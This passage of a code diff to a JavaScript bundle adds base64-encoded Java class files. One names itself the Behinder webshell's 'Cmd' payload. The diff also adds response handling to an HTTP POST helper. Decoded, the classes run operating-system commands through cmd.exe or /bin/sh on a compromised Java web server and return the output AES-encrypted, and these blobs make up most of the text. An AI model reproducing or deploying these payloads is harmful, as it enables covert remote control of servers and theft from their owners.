mEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldEJ5dGVzAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAD3ByaW50U3RhY2tUcmFjZQEACmdldE1lc3NhZ2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACHRvU3RyaW5nAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABShbQilWAQALdG9CeXRlQXJyYXkBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7AQANamF2YS91dGlsL1NldAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGVuZHNXaXRoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAGbGVuZ3RoAQADKClJAQAJc2V0TGVuZ3RoAQAEKEkpVgEAB2dldE5hbWUBAAdpbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3Rya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";
246
668
  var CMD_CLASS_B64 = "yv66vgAAADQBkQoAEADTBwDUCgACANMKAHkA1QgA1gkAeQDXCgB5ANgLAG4A2QgAfgkAeQDaCQB5ANsKABAA3AgA3QcA3goADgDfBwDgCgDhAOIIAI0HAKYKAHkA4wgA5AoAJwDlCgB5AOYIAOcIAOgHAOkKABoA6ggA6wgA7AoA7QDuCgCgAO8IAPAKACcA8QgA8goAJwDzCAD0CgAnAPUKAPYA9wcA+AgA+QgA+goA9gD7CAD8CAD9BwD+BwD/CgChAQAKAC4BAQoALQECCgAtAQMHAQQKADMA0woAMwEFCAEGCgAzAQcKAKEBCAkAeQEJCAEKCAELCgAQAQcIAQwHAQ0IAQ4KAD4BDwgBEAoAQwERBwESCgBDARMKAEMBFAcBFQoARgDTCgBGARYKAEYBFwoAeQEYCgAnARkIARoIARsKAA4BHAgBHQgBHgcBHwgBIAoADgEhCAC9CgAnASIIASMIASQLAG4BJQsBJgEnCwDBASgLAMEBKQgBKggBKwsAbgEsCgAnAQcIAS0KACcBLggBLwgBMAoAJwExCgAzAPEKADMBMggBMwoADgE0CAE1CAE2CQB5ATcIATgIATkHAToIATsIATwIAT0IAT4KACcBPwoBQAFBBwFCCgB1ANMKAHUBQwgBRAcBRQEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhdGgBAAh3aGF0ZXZlcgEABnN0YXR1cwEAB1JlcXVlc3QBABJMamF2YS9sYW5nL09iamVjdDsBAAhSZXNwb25zZQEAB1Nlc3Npb24BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAKExuZXQvcmViZXlvbmQvYmVoaW5kZXIvcGF5bG9hZC9qYXZhL0NtZDsBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAJzbwEABXdyaXRlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADb2JqAQAGcmVzdWx0AQAPTGphdmEvdXRpbC9NYXA7AQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47AQANU3RhY2tNYXBUYWJsZQEABlJ1bkNNRAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGRpc3IBAAlvc0NoYXJzZXQBABpMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwcBRgcBRwEACkV4Y2VwdGlvbnMBAAdFbmNyeXB0AQAGKFtCKVtCAQACYnMBAAJbQgEAA2tleQEAA3JhdwEACHNrZXlTcGVjAQAhTGphdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWM7AQAGY2lwaGVyAQAVTGphdmF4L2NyeXB0by9DaXBoZXI7AQAJZW5jcnlwdGVkAQADYm9zAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAd2ZXJzaW9uAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7BwFIAQAJU2lnbmF0dXJlAQBKKExqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOz47WilMamF2YS9sYW5nL1N0cmluZzsBAAtmaWxsQ29udGV4dAEAFShMamF2YS9sYW5nL09iamVjdDspVgEABm9iak1hcAEANUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0Oz47AQAIZ2V0TWFnaWMBAAQoKVtCAQABaQEAAUkBAAhtYWdpY051bQEABnJhbmRvbQEAEkxqYXZhL3V0aWwvUmFuZG9tOwEAA2J1ZgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACENtZC5qYXZhDACDAIQBABFqYXZhL3V0aWwvSGFzaE1hcAwAxADFAQADbXNnDAB6AHsMAJcAmAwBSQFKDAB+AHsMAIEAgAwBSwFMAQAPZ2V0T3V0cHV0U3RyZWFtAQAPamF2YS9sYW5nL0NsYXNzDAFNAU4BABBqYXZhL2xhbmcvT2JqZWN0BwFPDAFQAVEMALkAugEABVVURi04DAFSAVMMAKMApAEABWZsdXNoAQAFY2xvc2UBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAFUAVUBAARmYWlsAQAQc3VuLmpudS5lbmNvZGluZwcBVgwBVwCYDAFYAVkBAAAMAVoBWwEAB29zLm5hbWUMAVwBVQEAB3dpbmRvd3MMAV0BXgcBXwwBYAFhAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwBYgFjAQAHL2Jpbi9zaAEAAi1jAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAWQBZQwAgwFmDACDAWcMAWgBVQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDAFpAWoBAAEKDAFrAVUMAWwBZQwAggCAAQAMZ2V0QXR0cmlidXRlAQABdQEABXV0Zi04AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwEAA0FFUwwAgwFtAQAUQUVTL0VDQi9QS0NTNVBhZGRpbmcMAW4BbwEAE2phdmF4L2NyeXB0by9DaXBoZXIMAXABcQwBcgCkAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAI0BcwwBdADJDACwALEMAVIAyQEADGphdmEudmVyc2lvbgEAEGphdmEudXRpbC5CYXNlNjQMAVgBdQEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAF2AXcMAXgBeQEAAQ0BAAF7DAF6AXsHAXwMAX0BfgwBfwGADAGBAXcBAAEiAQADIjoiDAGCAYMBAAMxLjkMAYQBXgEAAiIsAQABLAwBhQGGDAGHAYgBAAF9DAGJAVUBAAtQYWdlQ29udGV4dAEACmdldFJlcXVlc3QMAH8AgAEAC2dldFJlc3BvbnNlAQAKZ2V0U2Vzc2lvbgEADWphdmEvdXRpbC9NYXABAAdzZXNzaW9uAQAIcmVzcG9uc2UBAAdyZXF1ZXN0AQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcMAYoBiwcBjAwBjQGOAQAQamF2YS91dGlsL1JhbmRvbQwBjwGQAQAHc3VjY2VzcwEAJm5ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvQ21kAQAYamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0AQARamF2YS9sYW5nL1Byb2Nlc3MBABJqYXZhL3V0aWwvSXRlcmF0b3IBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRCeXRlcwEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAApnZXRNZXNzYWdlAQAUKClMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAdmb3JOYW1lAQAuKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OwEABmxlbmd0aAEAAygpSQEAC3RvTG93ZXJDYXNlAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAMihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9uaW8vY2hhcnNldC9DaGFyc2V0OylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAA5nZXRFcnJvclN0cmVhbQEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALZ2V0SW5zdGFuY2UBACkoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAUoW0IpVgEAC3RvQnl0ZUFycmF5AQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwEADWphdmEvdXRpbC9TZXQBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAJY29tcGFyZVRvAQAIZW5kc1dpdGgBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBAAlzZXRMZW5ndGgBAAQoSSlWAQAHZ2V0TmFtZQEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAWKExqYXZhL2xhbmcvU3RyaW5nO0kpSQEAB25leHRJbnQBAAQoSSlJACEAeQAQAAAABwAJAHoAewAAAAkAfAB7AAAACQB9AHsAAAAKAH4AewAAAAIAfwCAAAAAAgCBAIAA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";
@@ -529,6 +951,20 @@ function postRaw(url, body, options = {}) {
529
951
  return new Promise((resolve2, reject) => {
530
952
  const started = Date.now();
531
953
  const transport = isHttps ? https : http;
954
+ const onResponse = (res) => {
955
+ const chunks = [];
956
+ res.on("data", (chunk) => chunks.push(chunk));
957
+ res.on(
958
+ "end",
959
+ () => resolve2({
960
+ status: res.statusCode ?? 0,
961
+ headers: res.headers,
962
+ body: Buffer.concat(chunks),
963
+ durationMs: Date.now() - started
964
+ })
965
+ );
966
+ res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
967
+ };
532
968
  const req = transport.request(
533
969
  {
534
970
  method: "POST",
@@ -546,21 +982,9 @@ function postRaw(url, body, options = {}) {
546
982
  timeout: timeoutMs,
547
983
